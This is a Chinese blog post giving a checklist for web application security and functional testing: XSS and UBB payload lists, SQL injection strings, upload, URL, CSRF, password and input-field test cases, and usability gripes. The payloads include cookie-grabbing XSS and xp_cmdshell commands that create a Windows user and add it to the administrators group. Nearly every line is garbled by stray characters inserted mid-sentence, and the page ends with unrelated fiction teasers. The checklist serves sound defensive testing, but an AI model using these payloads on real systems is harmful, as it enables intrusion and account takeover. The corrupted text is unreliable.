Web應(yīng)用程序的安全性問題依其存在的形勢劃分特咆,種類繁多季惩,這里不準備介紹所有的,只介紹常見腻格、比較常見和有點常見這種級別的画拾。我相信從Web應(yīng)用安全角度來說,會比你從網(wǎng)上搜的要全面的多荒叶。以下是這些安全性問題的列表:

 ∧敫蟆1、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)

 ⌒╅埂2脂凶、SQL注入攻擊(SQL injection)

  3愁茁、遠程命令執(zhí)行(Code execution蚕钦,個人覺得譯成代碼執(zhí)行并不確切)

  4鹅很、目錄遍歷(Directory traversal)

 ∷痪印5、文件包含(File inclusion)

 〈僦蟆6邮屁、腳本代碼暴露(Script source code disclosure)

  7菠齿、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)

 ∮恿摺8、跨幀腳本攻擊(Cross Frame Scripting)

 ∩取9芋忿、PHP代碼注入(PHP code injection)

 ≌汀10、XPath injection

 「旮帧11痹仙、Cookie篡改(Cookie manipulation)

  12殉了、URL重定向(URL redirection)

 】觥13、Blind SQL/XPath injection for numeric/String inputs

 ⌒14抖所、Google Hacking

Web Application Security Consortium(WASC)將Web應(yīng)用安全威脅分為如下六類:

?1 ??Authentication(驗證)

用來確認某用戶、服務(wù)或是應(yīng)用身份的攻擊手段痕囱。

??????2 ?Authorization(授權(quán))

用來決定是否某用戶、服務(wù)或是應(yīng)用具有執(zhí)行請求動作必要權(quán)限的攻擊手段暴匠。

??????3 ?Client-Side Attacks(客戶端攻擊)

用來擾亂或是探測Web 站點用戶的攻擊手段鞍恢。

?????4 ?Command Execution(命令執(zhí)行)

在Web 站點上執(zhí)行遠程命令的攻擊手段。

?????5 ??Information Disclosure(信息暴露)

用來獲取Web 站點具體系統(tǒng)信息的攻擊手段每窖。

??6 ?????Logical Attacks(邏輯性攻擊)

用來擾亂或是探測Web 應(yīng)用邏輯流程的攻擊手段帮掉。


建立整體的威脅模型,測試溢出漏洞窒典、信息泄漏蟆炊、錯誤處理、SQL注入瀑志、身份驗證和授權(quán)錯誤.

[if !supportLists]1.?[endif]輸入驗證

客戶端驗證服務(wù)器端驗證(禁用腳本調(diào)試涩搓,禁用Cookies)

1.輸入很大的數(shù)(如4,294,967,269),輸入很小的數(shù)(負數(shù))

2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數(shù)時有何反應(yīng)

3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|

4.輸入中英文空格劈猪,輸入字符串中間含空格昧甘,輸入首尾空格

5.輸入特殊字符串NULL,null,0x0d 0x0a

6.輸入正常字符串

7.輸入與要求不同類型的字符战得,如: 要求輸入數(shù)字則檢查正值,負值,零值(正零充边,負零),小數(shù),字母,空值; 要求輸入字母則檢查輸入數(shù)字

8.輸入html和javascript代碼

9.對于像回答數(shù)這樣需檢驗數(shù)字正確性的測試點,不僅對比其與問題最終頁的回答數(shù)常侦,還要對回答進行添加刪除等操作后查看變化

例如:

1.輸入<html”>”gfhd</html>,看是否出錯浇冰;

2.輸入<input type=”text”?name=”user”/>,看是否出現(xiàn)文本框;

3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現(xiàn)提示聋亡。


關(guān)于上傳:

1.上傳文件是否有格式限制,是否可以上傳exe文件肘习;

2.上傳文件是否有大小限制,上傳太大的文件是否導(dǎo)致異常錯誤,上傳0K的文件是否會導(dǎo)致異常錯誤,上傳并不存在的文件是否會導(dǎo)致異常錯誤;

3.通過修改擴展名的方式是否可以繞過格式限制杀捻,是否可以通過壓包方式繞過格式限制井厌;

4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現(xiàn)異常錯誤蚓庭。

5.上傳文件大小大于本地剩余空間大小,是否會出現(xiàn)異常錯誤仅仆。

6.關(guān)于上傳是否成功的判斷器赞。上傳過程中,中斷墓拜。程序是否判斷上傳是否成功港柜。

7.對于文件名中帶有中文字符,特殊字符等的文件上傳咳榜。

下載:

[if !supportLists]1.?[endif]避免輸入:\..\web.

[if !supportLists]2.?[endif]修改命名后綴夏醉。


關(guān)于URL:

1.某些需登錄后或特殊用戶才能進入的頁面,是否可以通過直接輸入網(wǎng)址的方式進入;

2.對于帶參數(shù)的網(wǎng)址,惡意修改其參數(shù),(若為數(shù)字,則輸入字母,或很大的數(shù)字,或輸入特殊字符等)后打開網(wǎng)址是否出錯,是否可以非法進入某些頁面涌韩;

3.搜索頁面等url中含有關(guān)鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執(zhí)行畔柔。

4.輸入善意字符。


UBB:


[url=http://www.****.com] 你的網(wǎng)站[/url]

1.試著用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.

2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用

3.輸入編輯器中不存在的UBB代碼,看是否起作用


[url=javascript:alert('hello')]鏈接[/url]

[email=javascript:alert('hello')]EMail[/email]

[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]


[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]


[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務(wù)網(wǎng)[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]


[u]一二三四五六七北京市[/u]

[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]


[if !supportLists]2.?[endif]輸出編碼

常用的測試輸入語句有:

<input type="text"/>

<input/>

<input/ ?

<script>alert('hello');</script>

1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<

a=”\”?; b=”;alert(/xss/);//”

<img src=“輸出內(nèi)容” border=“0” alt=“l(fā)ogo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

對輸出數(shù)據(jù)到輸出數(shù)據(jù)的對比臣樱,看是否出現(xiàn)問題靶擦。



[if !supportLists]3.?[endif]防止SQL注入

Admin--

‘or --

‘??and ?( ??) ??exec ??insert ??* ??% ??chr ??mid ??

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ?; ?%20AND%201=2

‘a(chǎn)nd 1=1 ???; ?‘And ?1=1 ??; ??‘a(chǎn)Nd ??1=1 ??;

and 1=2 ???; ??‘a(chǎn)nd 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

簡單的如where xtype=’U’,字符U對應(yīng)的ASCII碼是85雇毫,所以可以用where xtype=char(85)代替玄捕;如果字符是中文的,比如where name=’用戶’棚放,可以用where name=nchar(29992)+nchar(25143)代替枚粘。


[if !supportLists]4.?[endif]跨站腳本攻擊(XSS)

對于XSS,只需檢查 HTML 輸出并看看您輸入的內(nèi)容在什么地方飘蚯。它在一個 HREF 標(biāo)記中嗎馍迄?是否在 IFRAME 標(biāo)記中?它在 CLSID 標(biāo)記中嗎孝冒?在 IMG SRC 中嗎柬姚?某些 Flash 內(nèi)容的 PARAM NAME 是怎樣的?

~!@#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/ ?

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascript:alert(/xss/)

★<img src="#" onerror=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/**/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" onmouseover="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"onmouseover=alert('hello');"

★&{alert('hello');}

??★>"'><script>alert(‘XSS')</script>

??★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

??★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

??★%22%2Balert(%27XSS%27)%2B%22

??★<table background="javascript:alert(([code])"></table>

??★<object type=text/html data="javascript:alert(([code]);"></object>

??★<body onload="javascript:alert(([code])"></body>

??★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = ”;hackerFunction(document.cookie);”;



http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX


[if !supportLists]5.?[endif]跨站請求偽造(CSRF)

同個瀏覽器打開兩個頁面庄涡,一個頁面權(quán)限失效后量承,另一個頁面是否可操作成功。

當(dāng)頁面沒有CHECKCODE時穴店,查看頁面源代碼撕捍,查是是否有token。如果頁面完全是展示頁面泣洞,是不會有token的忧风。





[if !supportLists]一、?[endif]用戶注冊

只從用戶名和密碼角度寫了幾個要考慮的測試點球凰,如果需求中明確規(guī)定了安全問題狮腿,Email腿宰,出生日期,地址缘厢,性別等等一系列的格式和字符要求吃度,那就都要寫用例測了~

以等價類劃分和邊界值法來分析

1.填寫符合要求的數(shù)據(jù)注冊: 用戶名字和密碼都為最大長度(邊界值分析,取上點)

2.填寫符合要求的數(shù)據(jù)注冊 :用戶名字和密碼都為最小長度(邊界值分析贴硫,取上點)

3.填寫符合要求的數(shù)據(jù)注冊:用戶名字和密碼都是非最大和最小長度的數(shù)據(jù)(邊界值分析椿每,取內(nèi)點)

4.必填項分別為空注冊

5.用戶名長度大于要求注冊1位(邊界值分析,取離點)

6.用戶名長度小于要求注冊1位(邊界值分析英遭,取離點)

7.密碼長度大于要求注冊1位(邊界值分析间护,取離點)

8.密碼長度小于要求注冊1位(邊界值分析,取離點)

9.用戶名是不符合要求的字符注冊(這個可以劃分幾個無效的等價類挖诸,一般寫一兩個就行了汁尺,如含有空格,#等税灌,看需求是否允許吧~)

10.密碼是不符合要求的字符注冊(這個可以劃分幾個無效的等價類均函,一般寫一兩個就行了)

11.兩次輸入密碼不一致(如果注冊時候要輸入兩次密碼,那么這個是必須的)

12.重新注冊存在的用戶

13.改變存在的用戶的用戶名和密碼的大小寫菱涤,來注冊。(有的需求是區(qū)分大小寫洛勉,有的不區(qū)分)

14.看是否支持tap和enter鍵等粘秆;密碼是否可以復(fù)制粘貼;密碼是否以* 之類的加秘符號顯示

備注:邊界值的上點收毫、內(nèi)點和離點大家應(yīng)該都知道吧攻走,呵呵,這里我就不細說了~~

[if !supportLists]二此再、?[endif]修改密碼

當(dāng)然具體情況具體分析哈~不能一概而論~

實際測試中可能只用到其中幾條而已昔搂,比如銀行卡密碼的修改,就不用考慮英文和非法字符输拇,更不用考慮那些TAP之類的快捷鍵摘符。而有的需要根據(jù)需求具體分析了,比如連續(xù)出錯多少次出現(xiàn)的提示策吠,和一些軟件修改密碼要求一定時間內(nèi)有一定的修改次數(shù)限制等等逛裤。

1.不輸入舊密碼,直接改密碼

2.輸入錯誤舊密碼

3.不輸入確認新密碼

4.不輸入新密碼

5.新密碼和確認新密碼不一致

6.新密碼中有空格

7.新密碼為空

8.新密碼為符合要求的最多字符

9.新密碼為符合要求的最少字符

10.新密碼為符合要求的非最多和最少字符

11.新密碼為最多字符-1

12.新密碼為最少字符+1

13.新密碼為最多字符+1

14.新密碼為最少字符-1

15.新密碼為非允許字符(如有的密碼要求必須是英文和數(shù)字組成猴抹,那么要試漢字和符號等)

16.看是否支持tap和enter鍵等带族;密碼是否可以復(fù)制粘貼;密碼是否以* 之類的加秘符號

17.看密碼是否區(qū)分大小寫蟀给,新密碼中英文小寫蝙砌,確認密碼中英文大寫

18.新密碼與舊密碼一樣能否修改成功

另外一些其他的想法如下:

1 要測試所有規(guī)約中約定可以輸入的特殊字符阳堕,字母,和數(shù)字择克,要求都可以正常輸入恬总、顯示正常和添加成功

2 關(guān)注規(guī)約中的各種限制,比如長度祠饺,大否支持大小寫越驻。

3 考慮各種特殊情況,比如添加同名用戶道偷,系統(tǒng)是否正確校驗給出提示信息缀旁,管理員帳戶是否可以刪除,因為有些系統(tǒng)管理員擁有最大權(quán)限勺鸦,一旦刪除管理員帳戶并巍,就不能在前臺添加,這給最終用戶會帶來很多麻煩换途。比較特殊的是懊渡,當(dāng)用戶名中包括了特殊字符,那么對這類用戶名的添加同名军拟,修改剃执,刪除,系統(tǒng)是否能夠正確實現(xiàn)懈息,我就遇到了一個系統(tǒng)肾档,添加同名用戶時,如果以前的用戶名沒有特殊字符辫继,系統(tǒng)可以給出提示信息怒见,如果以前的用戶名包含特殊字符,就不校驗在插入數(shù)據(jù)庫的時候報錯姑宽。后來查到原因了遣耍,原來是在java中拼SQL語句的時候,因為有"_"炮车,所以就調(diào)用了一個方法在“_”舵变,前面加了一個轉(zhuǎn)義字符,后來發(fā)現(xiàn)不該調(diào)用這個方法示血。所以去掉就好了棋傍。所以對待輸入框中的特殊字符要多關(guān)注。

4 數(shù)值上的長度 之類的难审,包括出錯信息是否合理

5 特殊字符:比如瘫拣。 / ' " \ </html> 這些是否會造成系統(tǒng)崩潰

6 注入式bug:比如密碼輸入個or 1=1??

7 登錄后是否會用明文傳遞參數(shù)

8 訪問控制:登錄后保存里面的鏈接,關(guān)了瀏覽器直接復(fù)制鏈接看能不能訪問告喊。


輸入框測試

  1.驗證輸入與輸出的是否信息一致麸拄;

  2.輸入框之前的標(biāo)題是否正確派昧;

  3.對特殊字符的處理,尤其是輸入信息徐需要發(fā)送到數(shù)據(jù)庫的拢切。特殊字符包括:'(單引號)蒂萎、"(雙引號)、[](中括號)淮椰、()(小括號)五慈、{}(大括號)、;(分號)主穗、<>(大于小于號)……

  4.對輸入框輸入超過限制的字符的處理泻拦,一般非特殊的沒有作出限制的在255byte左右;

  5.輸入框本身的大小忽媒、長度争拐;

  6.不同內(nèi)碼的字符的輸入;

  7.對空格晦雨、TAB字符的處理機制架曹;

  8.字符本身顯示的顏色;

  9.密碼輸入窗口轉(zhuǎn)換成星號或其它符號闹瞧;

  10.密碼輸入框?qū)ζ渲械男畔⑦M行加密绑雄,防止采用破解星號的方法破解;

  11.按下ctrl和alt鍵對輸入框的影響奥邮;

  12.對于新增绳慎、修改、注冊時用的輸入框漠烧,有限制的,應(yīng)該輸入時作出提示靡砌,指出不允許的或者標(biāo)出允許的已脓;

  13.對于有約束條件要求的輸入框應(yīng)當(dāng)在條件滿足時輸入框的狀態(tài)發(fā)生相應(yīng)的改變,比如選了湖南就應(yīng)該列出湖南下面的市通殃,或者選了某些條件之后度液,一些輸入框會關(guān)閉或轉(zhuǎn)為只讀狀態(tài)撩扒;

  14.輸入類型隘马;根據(jù)前面的欄位標(biāo)題判斷該輸入框應(yīng)該輸入哪些內(nèi)容算是合理的正蛙。例如切诀,是否允許輸入數(shù)字或字母远豺,不允許輸入其他字符等亿乳。

  15.輸入長度访惜;數(shù)據(jù)庫字段有長度定義溢陪,當(dāng)輸入過長時朋腋,提交數(shù)據(jù)是否會出錯齐疙。

  16.輸入狀態(tài)膜楷;當(dāng)處于某種狀態(tài)下,輸入框是否處于可寫或非可寫狀態(tài)贞奋。例如赌厅,系統(tǒng)自動給予的編號等欄位作為唯一標(biāo)識,當(dāng)再次處于編輯狀態(tài)下轿塔,輸入框欄位應(yīng)處于不可寫狀態(tài)特愿,如果可寫對其編輯的話,可能會造成數(shù)據(jù)重復(fù)引起沖突等勾缭。

  17.如果是會進行數(shù)據(jù)庫操作的輸入框揍障,還可以考慮輸入SQL中的一些特殊符號如單引號等,有時會有意想不到的錯誤出現(xiàn)

  18.輸入類型輸入長度是否允許復(fù)制粘貼為空的情況空格的考慮半角全角測試對于密碼輸入框要考慮顯示的內(nèi)容是*??輸入錯誤時的提示信息及提示信息是否準確

  19.可以先了解你要測試的輸入框在軟件系統(tǒng)的某個功能中所扮演的角色,然后了解其具體的輸入條件漫拭,在將輸入條件按照有效等價類亚兄,無效等價類,邊界值等方法進行測試用例的設(shè)計采驻。

  20.關(guān)鍵字有大小寫混合的情況审胚;

  21.關(guān)鍵字中含有一個或多個空格的情況,包括前空格礼旅,中間空格(多個關(guān)鍵字)膳叨,和后空格;

  22.關(guān)鍵字中是否支持通配符的情況(視功能而定)痘系;

  23.關(guān)鍵字的長度分別為9菲嘴、10、11個字符時的情況汰翠;

  24.關(guān)鍵字是valid龄坪,但是沒有匹配搜索結(jié)果的情況;

  25.輸入html的標(biāo)簽會出現(xiàn)哪些問題复唤?輸入 會出現(xiàn)什么問題呢健田?(這條是我自己發(fā)現(xiàn)的,在網(wǎng)上也沒找到類似的東東佛纫,呵呵妓局,大家湊合著看吧)

  安全測試方面:

  給出一些特別的關(guān)鍵字,比如or 1=1, 這樣的關(guān)鍵字如果不被處理就直接用到數(shù)據(jù)庫查詢中去呈宇,后果可想而知好爬。


用戶體驗相關(guān)

我登錄失敗的時候沒有任何提示,這沒什么甥啄,反正提示也只是說失敗…

進去后發(fā)現(xiàn)顏色變更很強烈刺得我一眨眼存炮,不過多看幾次就習(xí)慣了。

點擊某個鏈接的時候出現(xiàn)錯誤頁面,刷新后就好了僵蛛,難道是隨機錯誤尚蝌?

保存文字的時候沒有成功提示,不過能成功保存就算了充尉。

瀏覽記錄的時候竟然出現(xiàn)錯誤頁面飘言,原來我沒有選記錄就瀏覽了,我自己操作不規(guī)范嘛驼侠。

刪除記錄的時候發(fā)現(xiàn)選錯了姿鸿,想取消的時候卻提示刪除成功,都沒有確認提示倒源,只能下次看仔細點了苛预。

查詢時字母鍵被茶杯壓住了多輸了點字符,竟然出現(xiàn)錯誤頁面笋熬,下次把東西整理好热某。

無聊隨便點點幾個鏈接,竟然沒有反應(yīng)胳螟,既然不用昔馋,那就不要做出來嘛。

看看自己上傳的圖片效果如何糖耸,這個怎么不顯示秘遏?多試幾次發(fā)現(xiàn)名字不包含中文就好了,下次注意下嘉竟。

改改字體字號顏色美化環(huán)境嘛邦危,怎么格式那里不顯示正確的字體字號呢,將就用吧舍扰。

這里的記錄條數(shù)怎么這么多熬腧健?原來是沒有刪除按鈕边苹,看來下次不能隨便加了审丘。

這個結(jié)束時間怎么在開始時間前啊勾给?原來沒有進行控制,下面的人執(zhí)行時……還是自己改過來吧锅知。

上次我在這里看見的圖片呢播急?刷新后就出來了,怎么和我玩捉迷藏呢售睹?

多輸了點內(nèi)容桩警,保存時候提示太多了,點確定后發(fā)現(xiàn)被清空了昌妹,我一個小時的工作按肥唷握截!

這張圖片真不錯,但是按鈕呢烂叔,按鈕呢谨胞?按鈕被擠掉了我怎么編輯啊。

聽說F5是刷新點一下看看蒜鸡。怎么好像變成了登錄界面胯努?

剛學(xué)了怎么用TAB鍵,確實很方便逢防。TAB一下叶沛。跑哪去了,怎么一片空白巴灰署??局嘁?

玩游戲的人點擊速度那么快溉箕,我也來試試。怎么一雙擊就出錯了导狡?

我找錯別字是很厲害的约巷,這不就發(fā)現(xiàn)“同意”寫成了“統(tǒng)一”。

這里提示只能輸入1-100旱捧,我偏要輸入9999……保存看看独郎,怎么系統(tǒng)不能用了?

這里一點擊就出現(xiàn)IE錯誤枚赡,硬是不彈出我需要的窗口氓癌。

這個查詢按鈕怎么灰掉了?這么多記錄讓我一頁一頁翻過去找啊贫橙。

上傳第二個附件的時候怎么把第一個擠掉了啊贪婉,會擠掉也要提示一下嘛。

一個頁面上打開的記錄太多了卢肃,變體都用…省略了疲迂,要是鼠標(biāo)放上去浮動顯示完整標(biāo)題就方便多了。

這幾條記錄有依存關(guān)系莫湘,刪了一條其他就沒了尤蒿,提示都沒有,早知道我就用編輯了……

這條記錄怎么好像是昨天的幅垮,我記得今天更新了把亍?原來編輯后的記錄沒有傳到引用的地方。

最最奇怪的是昨天上傳時候正常的圖片今天就不能顯示了示弓。我記得沒有只能顯示一天的功能盎淝取?奏属?跨跨?

這里怎么沒有任何按鈕呢,看手冊才知道竟然要用右鍵進行操作拍皮,怎么突然冒出個異類按醵!?铆帽?咆耿?

這里怎么能增加兩條相同的記錄呢?不控制一下天知道手下那些愣頭青會做出什么來爹橱。

這里的菜單一層一層又一層萨螺,足足有五層,把我頭都繞暈了……我記得哪里說過最好不要超過三層的愧驱。

這個界面看起來怎么這么別扭啊慰技,是字體太大了,是按鈕太小了组砚,還是功能太多了吻商,……

怎么不是管理員登錄進來也能管理啊,那我這個管理員的身份不是多此一舉嗎糟红?

刪除的時候提示Error艾帐,幸虧我英語水平好,可是你換成中文不行嗎盆偿?

這條記錄不是刪除了嗎柒爸,怎么還能引用啊,到時候出錯了怎么辦事扭,難道還要我記住刪了那些記錄捎稚?

經(jīng)過精心編輯,我發(fā)了一條通知求橄,怎么用普通用戶查看的時候是默認的字體字號敖褚啊?罐农?腥泥?

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市啃匿,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖溯乒,帶你破解...
    沈念sama閱讀 223,126評論 6 520
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件夹厌,死亡現(xiàn)場離奇詭異,居然都是意外死亡裆悄,警方通過查閱死者的電腦和手機矛纹,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,421評論 3 400
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來光稼,“玉大人或南,你說我怎么就攤上這事“” “怎么了采够?”我有些...
    開封第一講書人閱讀 169,941評論 0 366
  • 文/不壞的土叔 我叫張陵,是天一觀的道長冰垄。 經(jīng)常有香客問我蹬癌,道長,這世上最難降的妖魔是什么虹茶? 我笑而不...
    開封第一講書人閱讀 60,294評論 1 300
  • 正文 為了忘掉前任逝薪,我火速辦了婚禮,結(jié)果婚禮上蝴罪,老公的妹妹穿的比我還像新娘董济。我一直安慰自己,他們只是感情好要门,可當(dāng)我...
    茶點故事閱讀 69,295評論 6 398
  • 文/花漫 我一把揭開白布虏肾。 她就那樣靜靜地躺著,像睡著了一般暂衡。 火紅的嫁衣襯著肌膚如雪询微。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,874評論 1 314
  • 那天狂巢,我揣著相機與錄音撑毛,去河邊找鬼。 笑死唧领,一個胖子當(dāng)著我的面吹牛藻雌,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播斩个,決...
    沈念sama閱讀 41,285評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼胯杭,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了受啥?” 一聲冷哼從身側(cè)響起做个,我...
    開封第一講書人閱讀 40,249評論 0 277
  • 序言:老撾萬榮一對情侶失蹤鸽心,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后居暖,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體顽频,經(jīng)...
    沈念sama閱讀 46,760評論 1 321
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,840評論 3 343
  • 正文 我和宋清朗相戀三年太闺,在試婚紗的時候發(fā)現(xiàn)自己被綠了糯景。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,973評論 1 354
  • 序言:一個原本活蹦亂跳的男人離奇死亡省骂,死狀恐怖蟀淮,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情钞澳,我是刑警寧澤怠惶,帶...
    沈念sama閱讀 36,631評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站略贮,受9級特大地震影響甚疟,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜逃延,卻給世界環(huán)境...
    茶點故事閱讀 42,315評論 3 336
  • 文/蒙蒙 一览妖、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧揽祥,春花似錦讽膏、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,797評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至料按,卻和暖如春奄侠,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背载矿。 一陣腳步聲響...
    開封第一講書人閱讀 33,926評論 1 275
  • 我被黑心中介騙來泰國打工垄潮, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人闷盔。 一個月前我還...
    沈念sama閱讀 49,431評論 3 379
  • 正文 我出身青樓弯洗,卻偏偏與公主長得像,于是被迫代替她去往敵國和親逢勾。 傳聞我的和親對象是個殘疾皇子牡整,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,982評論 2 361

推薦閱讀更多精彩內(nèi)容

  • WEB的安全性測試主要從以下方面考慮: 1.SQL Injection(SQL注入) (1)如何進行SQL注入測試...
    天天向上的小M閱讀 868評論 0 1
  • web安全性測試用例 http://www.cnblogs.com/qmfsun/p/3724406.html建...
    天天向上的小M閱讀 1,440評論 0 2
  • HTTP.sys遠程代碼執(zhí)行 測試類型:基礎(chǔ)結(jié)構(gòu)測試 威脅分類:操作系統(tǒng)命令 原因:未安裝第三方產(chǎn)品的最新補丁或最...
    天天向上的小M閱讀 3,938評論 0 0
  • 今天下午,我和媽媽去教堂聚會溺拱,快到教堂門口是逃贝,突然聽到后面有人叫了一聲“賴以勒”谣辞,于是,我回頭四處尋找是誰在叫我...
    賴以勒閱讀 134評論 0 1
  • 谷雨沐扳,有下雨潦闲,又下雨! 春時臨末迫皱, 種瓜點豆, 雨中生谷辖众, 初夏將至卓起。
    星野歌陽閱讀 246評論 0 0